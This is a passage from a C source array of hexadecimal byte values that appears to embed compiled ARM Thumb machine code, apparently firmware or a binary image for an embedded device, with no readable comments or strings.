0xafu, 0xffu, 0x20u, 0x00u, 0x00u, 0x23u, 0x03u, 0x22u, 0x02u, 0x21u, 0xffu, 0xf7u, 0xbfu, 0xffu, 0x02u, 0x22u,
0x20u, 0x00u, 0x11u, 0x00u, 0x03u, 0x23u, 0xffu, 0xf7u, 0x22u, 0xffu, 0x20u, 0x00u, 0x0au, 0x4bu, 0x3du, 0x22u,
0x00u, 0x21u, 0x01u, 0xf0u, 0x69u, 0xfdu, 0x09u, 0x4bu, 0x37u, 0x22u, 0x20u, 0x00u, 0x00u, 0x21u, 0x01u, 0xf0u,
0x63u, 0xfdu, 0x02u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xbdu, 0xffu, 0x20u, 0x00u, 0xffu, 0xf7u, 0xc1u, 0xffu,
0x70u, 0xbdu, 0xc0u, 0x46u, 0x09u, 0x02u, 0x00u, 0x00u, 0x2eu, 0x00u, 0x40u, 0x00u, 0x2eu, 0x20u, 0x30u, 0x00u,
0xf8u, 0xb5u, 0x04u, 0x00u, 0x0fu, 0x00u, 0x16u, 0x00u, 0x1du, 0x00u, 0xffu, 0xf7u, 0x5du, 0xffu, 0x3au, 0x00u,
0x20u, 0x00u, 0x04u, 0x21u, 0xffu, 0xf7u, 0x5fu, 0xffu, 0x32u, 0x00u, 0x20u, 0x00u, 0x03u, 0x21u, 0xffu, 0xf7u,
0x5au, 0xffu, 0x6au, 0x00u, 0x20u, 0x00u, 0x02u, 0x21u, 0xffu, 0xf7u, 0x5eu, 0xffu, 0x2au, 0x00u, 0x20u, 0x00u,
0x01u, 0x21u, 0xffu, 0xf7u, 0x59u, 0xffu, 0x2au, 0x00u, 0x20u, 0x00u, 0x00u, 0x21u, 0xffu, 0xf7u, 0x68u, 0xffu,
0x20u, 0x00u, 0x00u, 0x23u, 0x03u, 0x22u, 0x04u, 0x21u, 0xffu, 0xf7u, 0x78u, 0xffu, 0x20u, 0x00u, 0x26u, 0x4bu,
0x33u, 0x22u, 0x00u, 0x21u, 0x01u, 0xf0u, 0x28u, 0xfdu, 0x20u, 0x00u, 0x00u, 0x23u, 0x02u, 0x22u, 0x01u, 0x21u,
0xffu, 0xf7u, 0x6cu, 0xffu, 0x21u, 0x4bu, 0x33u, 0x22u, 0x20u, 0x00u, 0x00u, 0x21u, 0x01u, 0xf0u, 0x1cu, 0xfdu,
0x02u, 0x35u, 0x20u, 0x00u, 0x02u, 0x21u, 0xffu, 0xf7u, 0x75u, 0xffu, 0x2au, 0x00u, 0x20u, 0x00u, 0x01u, 0x21u,
0xffu, 0xf7u, 0x32u, 0xffu, 0x2au, 0x00u, 0x20u, 0x00u, 0x00u, 0x21u, 0xffu, 0xf7u, 0x2du, 0xffu, 0x20u, 0x00u,
0x02u, 0x23u, 0x03u, 0x22u, 0x00u, 0x21u, 0xffu, 0xf7u, 0xa7u, 0xfeu, 0x20u, 0x00u, 0x0eu, 0x23u, 0x00u, 0x22u,
0x01u, 0x21u, 0xffu, 0xf7u, 0xa1u, 0xfeu, 0x20u, 0x00u, 0x11u, 0x4bu, 0x03u, 0x22u, 0x00u, 0x21u, 0x01u, 0xf0u,
0xfbu, 0xfcu, 0x20u, 0x00u, 0x0eu, 0x23u, 0x01u, 0x22u, 0x00u, 0x21u, 0xffu, 0xf7u, 0x95u, 0xfeu, 0x20u, 0x00u,
0x0cu, 0x4bu, 0x30u, 0x22u, 0x00u, 0x21u, 0x01u, 0xf0u, 0xefu, 0xfcu, 0xc1u, 0x23u, 0x30u, 0x22u, 0x9bu, 0x03u,
0x20u, 0x00u, 0x00u, 0x21u, 0x01u, 0xf0u, 0xe8u, 0xfcu, 0x07u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x42u, 0xffu,
0x20u, 0x00u, 0xffu, 0xf7u, 0x46u, 0xffu, 0xf8u, 0xbdu, 0x4du, 0x20u, 0x00u, 0x00u, 0x1eu, 0x20u, 0x00u, 0x00u,
0x10u, 0x00u, 0x40u, 0x00u, 0x01u, 0x40u, 0x40u, 0x00u, 0xf0u, 0xb5u, 0x04u, 0x00u, 0x0fu, 0x00u, 0x16u, 0x00u,
0x1du, 0x00u, 0x89u, 0xb0u, 0xffu, 0xf7u, 0xe0u, 0xfeu, 0x3au, 0x00u, 0x01u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u,
0xe2u, 0xfeu, 0x32u, 0x00u, 0x02u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xddu, 0xfeu, 0x2au, 0x00u, 0x03u, 0x21u,
0x20u, 0x00u, 0xffu, 0xf7u, 0xd8u, 0xfeu, 0x0eu, 0x9bu, 0x00u, 0x21u, 0x5au, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u,
0xdbu, 0xfeu, 0x23u, 0x23u, 0x33u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0xb5u, 0xfcu, 0x20u, 0x00u,
0xffu, 0xf7u, 0x70u, 0xfeu, 0x94u, 0x4bu, 0x1bu, 0x78u, 0x00u, 0x2bu, 0x0bu, 0xd0u, 0x01u, 0x2bu, 0x01u, 0xd1u,
0x00u, 0xf0u, 0x35u, 0xfdu, 0x0eu, 0x9bu, 0x00u, 0x22u, 0x01u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x50u, 0xffu,
0x00u, 0xf0u, 0x24u, 0xfdu, 0x8du, 0x4bu, 0x18u, 0x78u, 0x01u, 0x38u, 0x04u, 0x28u, 0x01u, 0xd9u, 0x00u, 0xf0u,
0x1du, 0xfdu, 0x04u, 0xf0u, 0xfdu, 0xfdu, 0x05u, 0x00u, 0x89u, 0x00u, 0x25u, 0x01u, 0x73u, 0x03u, 0x18u, 0x05u,
0x20u, 0x00u, 0xffu, 0xf7u, 0xa1u, 0xfeu, 0x01u, 0x22u, 0x04u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xa3u, 0xfeu,
0x00u, 0x22u, 0x05u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x9eu, 0xfeu, 0x80u, 0x22u, 0x02u, 0x21u, 0x20u, 0x00u,
0xffu, 0xf7u, 0xa2u, 0xfeu, 0xc0u, 0x22u, 0x03u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x9du, 0xfeu, 0xc0u, 0x22u,
0x00u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xacu, 0xfeu, 0x00u, 0x23u, 0x05u, 0x22u, 0x04u, 0x21u, 0x20u, 0x00u,
0xffu, 0xf7u, 0xbcu, 0xfeu, 0x80u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xa1u, 0xfeu, 0x00u, 0x23u,
0x04u, 0x22u, 0x02u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xb1u, 0xfeu, 0x40u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u,
0xffu, 0xf7u, 0x96u, 0xfeu, 0xc1u, 0x23u, 0x20u, 0x22u, 0x9bu, 0x01u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u,
0x5bu, 0xfcu, 0x04u, 0x22u, 0x05u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x08u, 0xfeu, 0x68u, 0x4bu,
0x3du, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x4fu, 0xfcu, 0x66u, 0x4bu, 0x37u, 0x22u, 0x00u, 0x21u,
0x20u, 0x00u, 0x01u, 0xf0u, 0x49u, 0xfcu, 0x04u, 0x22u, 0x03u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u,
0xf6u, 0xfdu, 0x5fu, 0x4bu, 0x3du, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x3du, 0xfcu, 0x5du, 0x4bu,
0x37u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x37u, 0xfcu, 0x5bu, 0x4bu, 0x20u, 0x22u, 0x00u, 0x21u,
0x20u, 0x00u, 0x01u, 0xf0u, 0x31u, 0xfcu, 0x59u, 0x4bu, 0x38u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u,
0x2bu, 0xfcu, 0x04u, 0x22u, 0x02u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xd8u, 0xfdu, 0x50u, 0x4bu,
0x3du, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x1fu, 0xfcu, 0x00u, 0x21u, 0x4du, 0x4bu, 0x37u, 0x22u,
0x20u, 0x00u, 0x01u, 0xf0u, 0x19u, 0xfcu, 0x0cu, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x73u, 0xfeu, 0x20u, 0x00u,
0xffu, 0xf7u, 0x77u, 0xfeu, 0x00u, 0xf0u, 0x92u, 0xfcu, 0x20u, 0x00u, 0xffu, 0xf7u, 0x1du, 0xfeu, 0x01u, 0x22u,
0x04u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x1fu, 0xfeu, 0x00u, 0x22u, 0x05u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x1au, 0xfeu, 0xe0u, 0x22u, 0x01u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x1eu, 0xfeu, 0xe0u, 0x22u, 0x02u, 0x21u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x19u, 0xfeu, 0xe0u, 0x22u, 0x03u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x14u, 0xfeu,
0xe0u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x23u, 0xfeu, 0x00u, 0x23u, 0x05u, 0x22u, 0x04u, 0x21u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x33u, 0xfeu, 0x80u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x18u, 0xfeu,
0x00u, 0x23u, 0x04u, 0x22u, 0x01u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x28u, 0xfeu, 0x60u, 0x22u, 0x00u, 0x21u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x0du, 0xfeu, 0x2eu, 0x4bu, 0x20u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u,
0xd3u, 0xfbu, 0x60u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x02u, 0xfeu, 0xc1u, 0x23u, 0x20u, 0x22u,
0x9bu, 0x01u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0xc7u, 0xfbu, 0x02u, 0x22u, 0x05u, 0x23u, 0x11u, 0x00u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x74u, 0xfdu, 0x23u, 0x4bu, 0x3du, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u,
0xbbu, 0xfbu, 0x21u, 0x4bu, 0x37u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0xb5u, 0xfbu, 0x02u, 0x22u,
0x04u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x4fu, 0xfdu, 0x1cu, 0x4bu, 0x36u, 0x22u, 0x00u, 0x21u,
0x20u, 0x00u, 0x01u, 0xf0u, 0xa9u, 0xfbu, 0x02u, 0x22u, 0x01u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x43u, 0xfdu, 0x16u, 0x4bu, 0x36u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x9du, 0xfbu, 0x03u, 0x23u,
0x02u, 0x22u, 0x04u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x4au, 0xfdu, 0x09u, 0x4bu, 0x3du, 0x22u, 0x00u, 0x21u,
0x20u, 0x00u, 0x01u, 0xf0u, 0x91u, 0xfbu, 0x00u, 0x21u, 0x06u, 0x4bu, 0x37u, 0x22u, 0x20u, 0x00u, 0x01u, 0xf0u,
0x8bu, 0xfbu, 0x0eu, 0x21u, 0x70u, 0xe7u, 0xc0u, 0x46u, 0x80u, 0x00u, 0x00u, 0x08u, 0x34u, 0x05u, 0x00u, 0x08u,
0x4eu, 0x00u, 0x40u, 0x00u, 0x4eu, 0x40u, 0x30u, 0x00u, 0x20u, 0x30u, 0x00u, 0x00u, 0x23u, 0x20u, 0x00u, 0x00u,
0x10u, 0x20u, 0x00u, 0x00u, 0x2eu, 0x00u, 0x40u, 0x00u, 0x2eu, 0x20u, 0x30u, 0x00u, 0x2eu, 0x20u, 0x40u, 0x00u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x81u, 0xfdu, 0x01u, 0x22u, 0x0au, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x83u, 0xfdu,
0x00u, 0x22u, 0x0bu, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x7eu, 0xfdu, 0x80u, 0x22u, 0x05u, 0x21u, 0x52u, 0x00u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x81u, 0xfdu, 0x80u, 0x22u, 0x06u, 0x21u, 0x52u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x7bu, 0xfdu, 0x80u, 0x22u, 0x07u, 0x21u, 0x52u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x75u, 0xfdu, 0x20u, 0x22u,
0x08u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x70u, 0xfdu, 0x60u, 0x22u, 0x09u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x6bu, 0xfdu, 0x80u, 0x22u, 0x00u, 0x21u, 0x52u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x79u, 0xfdu, 0x20u, 0x22u,
0x01u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x74u, 0xfdu, 0x60u, 0x22u, 0x02u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x6fu, 0xfdu, 0xc0u, 0x22u, 0x03u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x6au, 0xfdu, 0xe0u, 0x22u, 0x04u, 0x21u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x65u, 0xfdu, 0x00u, 0x23u, 0x0bu, 0x22u, 0x05u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x75u, 0xfdu, 0x02u, 0x23u, 0x05u, 0x22u, 0x0au, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x6fu, 0xfdu, 0x01u, 0x23u,
0x0au, 0x22u, 0x06u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x69u, 0xfdu, 0x01u, 0x23u, 0x0au, 0x22u, 0x08u, 0x21u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x63u, 0xfdu, 0xeeu, 0x4bu, 0x20u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u,
0x13u, 0xfbu, 0x0au, 0x23u, 0x20u, 0x00u, 0x1au, 0x00u, 0x19u, 0x00u, 0xffu, 0xf7u, 0xc0u, 0xfcu, 0xe9u, 0x4bu,
0x3du, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x07u, 0xfbu, 0xe7u, 0x4bu, 0x37u, 0x22u, 0x00u, 0x21u,
0x20u, 0x00u, 0x01u, 0xf0u, 0x01u, 0xfbu, 0xe5u, 0x4bu, 0x20u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u,
0xfbu, 0xfau, 0x0au, 0x22u, 0x07u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x95u, 0xfcu, 0xe0u, 0x4bu,
0x36u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0xefu, 0xfau, 0xdeu, 0x4bu, 0x20u, 0x22u, 0x00u, 0x21u,
0x20u, 0x00u, 0x01u, 0xf0u, 0xe9u, 0xfau, 0x0au, 0x22u, 0x07u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x96u, 0xfcu, 0xd4u, 0x4bu, 0x3du, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0xddu, 0xfau, 0xd2u, 0x4bu,
0x37u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0xd7u, 0xfau, 0x0au, 0x22u, 0x07u, 0x23u, 0x11u, 0x00u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x84u, 0xfcu, 0xcbu, 0x4bu, 0x3du, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u,
0xcbu, 0xfau, 0xc9u, 0x4bu, 0x37u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0xc5u, 0xfau, 0x03u, 0x23u,
0x05u, 0x22u, 0x07u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x09u, 0xfdu, 0x0au, 0x22u, 0x07u, 0x23u, 0x11u, 0x00u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x59u, 0xfcu, 0xc2u, 0x4bu, 0x36u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u,
0xb3u, 0xfau, 0xc1u, 0x4bu, 0x20u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0xadu, 0xfau, 0x0au, 0x22u,
0x07u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x5au, 0xfcu, 0xb6u, 0x4bu, 0x3du, 0x22u, 0x00u, 0x21u,
0x20u, 0x00u, 0x01u, 0xf0u, 0xa1u, 0xfau, 0xb4u, 0x4bu, 0x37u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u,
0x9bu, 0xfau, 0x0au, 0x22u, 0x06u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x35u, 0xfcu, 0xb0u, 0x4bu,
0x36u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x8fu, 0xfau, 0x01u, 0x23u, 0x06u, 0x22u, 0x08u, 0x21u,
0x20u, 0x00u, 0xffu, 0xf7u, 0xd3u, 0xfcu, 0xadu, 0x4bu, 0x20u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u,
0x83u, 0xfau, 0x0au, 0x22u, 0x07u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x30u, 0xfcu, 0xa1u, 0x4bu,
0x3du, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x77u, 0xfau, 0x9fu, 0x4bu, 0x37u, 0x22u, 0x00u, 0x21u,
0x20u, 0x00u, 0x01u, 0xf0u, 0x71u, 0xfau, 0xa2u, 0x4bu, 0x20u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u,
0x6bu, 0xfau, 0x0au, 0x22u, 0x07u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x05u, 0xfcu, 0x98u, 0x4bu,
0x36u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x5fu, 0xfau, 0x06u, 0x22u, 0x01u, 0x23u, 0x11u, 0x00u,
0x20u, 0x00u, 0xffu, 0xf7u, 0xa3u, 0xfcu, 0x0au, 0x22u, 0x06u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u,
0xf3u, 0xfbu, 0x8fu, 0x4bu, 0x36u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x4du, 0xfau, 0x8du, 0x4bu,
0x20u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x47u, 0xfau, 0x0au, 0x22u, 0x07u, 0x23u, 0x11u, 0x00u,
0x20u, 0x00u, 0xffu, 0xf7u, 0xf4u, 0xfbu, 0x83u, 0x4bu, 0x3du, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u,
0x3bu, 0xfau, 0x81u, 0x4bu, 0x37u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x35u, 0xfau, 0x02u, 0x23u,
0x05u, 0x22u, 0x08u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x79u, 0xfcu, 0x7cu, 0x4bu, 0x20u, 0x22u, 0x00u, 0x21u,
0x20u, 0x00u, 0x01u, 0xf0u, 0x29u, 0xfau, 0x0au, 0x22u, 0x07u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u,
0xc3u, 0xfbu, 0x77u, 0x4bu, 0x36u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x1du, 0xfau, 0x01u, 0x23u,
0x05u, 0x22u, 0x08u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x61u, 0xfcu, 0x74u, 0x4bu, 0x20u, 0x22u, 0x00u, 0x21u,
0x20u, 0x00u, 0x01u, 0xf0u, 0x11u, 0xfau, 0x0au, 0x22u, 0x07u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u,
0xabu, 0xfbu, 0x6bu, 0x4bu, 0x36u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x05u, 0xfau, 0x02u, 0x23u,
0x05u, 0x22u, 0x09u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x49u, 0xfcu, 0x0au, 0x22u, 0x09u, 0x23u, 0x11u, 0x00u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x99u, 0xfbu, 0x62u, 0x4bu, 0x36u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u,
0xf3u, 0xf9u, 0x01u, 0x23u, 0x05u, 0x22u, 0x09u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x37u, 0xfcu, 0x0au, 0x22u,
0x09u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x9au, 0xfbu, 0x56u, 0x4bu, 0x3du, 0x22u, 0x00u, 0x21u,
0x20u, 0x00u, 0x01u, 0xf0u, 0xe1u, 0xf9u, 0x54u, 0x4bu, 0x37u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u,
0xdbu, 0xf9u, 0x01u, 0x23u, 0x09u, 0x22u, 0x08u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x1fu, 0xfcu, 0x4fu, 0x4bu,
0x20u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0xcfu, 0xf9u, 0x0au, 0x22u, 0x07u, 0x23u, 0x11u, 0x00u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x69u, 0xfbu, 0x4au, 0x4bu, 0x36u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u,
0xc3u, 0xf9u, 0x4cu, 0x4bu, 0x20u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0xbdu, 0xf9u, 0x0au, 0x22u,
0x07u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x57u, 0xfbu, 0x41u, 0x4bu, 0x36u, 0x22u, 0x00u, 0x21u,
0x20u, 0x00u, 0x01u, 0xf0u, 0xb1u, 0xf9u, 0x00u, 0x22u, 0x20u, 0x00u, 0x11u, 0x00u, 0xffu, 0xf7u, 0xe0u, 0xfbu,
0x00u, 0x23u, 0x05u, 0x22u, 0x09u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xf0u, 0xfbu, 0x0au, 0x22u, 0x09u, 0x23u,
0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x53u, 0xfbu, 0x32u, 0x4bu, 0x3du, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u,
0x01u, 0xf0u, 0x9au, 0xf9u, 0x30u, 0x4bu, 0x37u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x94u, 0xf9u,
0x34u, 0x4bu, 0x20u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x8eu, 0xf9u, 0x0au, 0x22u, 0x07u, 0x23u,
0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x28u, 0xfbu, 0x29u, 0x4bu, 0x36u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u,
0x01u, 0xf0u, 0x82u, 0xf9u, 0x2cu, 0x4bu, 0x20u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x7cu, 0xf9u,
0x0au, 0x22u, 0x07u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x29u, 0xfbu, 0x1du, 0x4bu, 0x3du, 0x22u,
0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x70u, 0xf9u, 0x1bu, 0x4bu, 0x37u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u,
0x01u, 0xf0u, 0x6au, 0xf9u, 0x07u, 0x22u, 0x01u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xaeu, 0xfbu,
0x0au, 0x22u, 0x07u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xfeu, 0xfau, 0x14u, 0x4bu, 0x36u, 0x22u,
0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x58u, 0xf9u, 0x00u, 0x23u, 0x0bu, 0x22u, 0x07u, 0x21u, 0x20u, 0x00u,
0xffu, 0xf7u, 0x9cu, 0xfbu, 0x0au, 0x22u, 0x07u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xffu, 0xfau,
0x08u, 0x4bu, 0x3du, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x46u, 0xf9u, 0x00u, 0x21u, 0x06u, 0x4bu,
0x37u, 0x22u, 0x20u, 0x00u, 0x01u, 0xf0u, 0x40u, 0xf9u, 0xf8u, 0x21u, 0x89u, 0x00u, 0x24u, 0xe5u, 0xc0u, 0x46u,
0xa2u, 0xa0u, 0x00u, 0x00u, 0xaeu, 0x00u, 0x40u, 0x00u, 0xaeu, 0xa0u, 0x30u, 0x00u, 0x84u, 0x70u, 0x00u, 0x00u,
0xaeu, 0xa0u, 0x40u, 0x00u, 0x62u, 0x70u, 0x00u, 0x00u, 0x73u, 0x70u, 0x00u, 0x00u, 0x83u, 0x70u, 0x00u, 0x00u,
0x71u, 0x70u, 0x00u, 0x00u, 0x92u, 0x70u, 0x00u, 0x00u, 0x54u, 0x70u, 0x00u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x33u, 0xfbu, 0x01u, 0x22u, 0x09u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x35u, 0xfbu, 0x00u, 0x22u, 0x0au, 0x21u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x30u, 0xfbu, 0xc0u, 0x22u, 0x06u, 0x21u, 0x52u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x33u, 0xfbu, 0xc0u, 0x22u, 0x07u, 0x21u, 0x52u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x2du, 0xfbu, 0x20u, 0x22u,
0x08u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x28u, 0xfbu, 0x20u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u,
0x37u, 0xfbu, 0x40u, 0x22u, 0x01u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x32u, 0xfbu, 0x60u, 0x22u, 0x02u, 0x21u,
0x20u, 0x00u, 0xffu, 0xf7u, 0x2du, 0xfbu, 0x80u, 0x22u, 0x03u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x28u, 0xfbu,
0x80u, 0x22u, 0x04u, 0x21u, 0x52u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x22u, 0xfbu, 0xc0u, 0x22u, 0x05u, 0x21u,
0x52u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x1cu, 0xfbu, 0x05u, 0x23u, 0x0au, 0x22u, 0x06u, 0x21u, 0x20u, 0x00u,
0xffu, 0xf7u, 0x2cu, 0xfbu, 0x0au, 0x23u, 0x06u, 0x22u, 0x09u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x8fu, 0xfau,
0xecu, 0x4bu, 0x3du, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x01u, 0xf0u, 0xd6u, 0xf8u, 0xeau, 0x4bu, 0x37u, 0x22u,
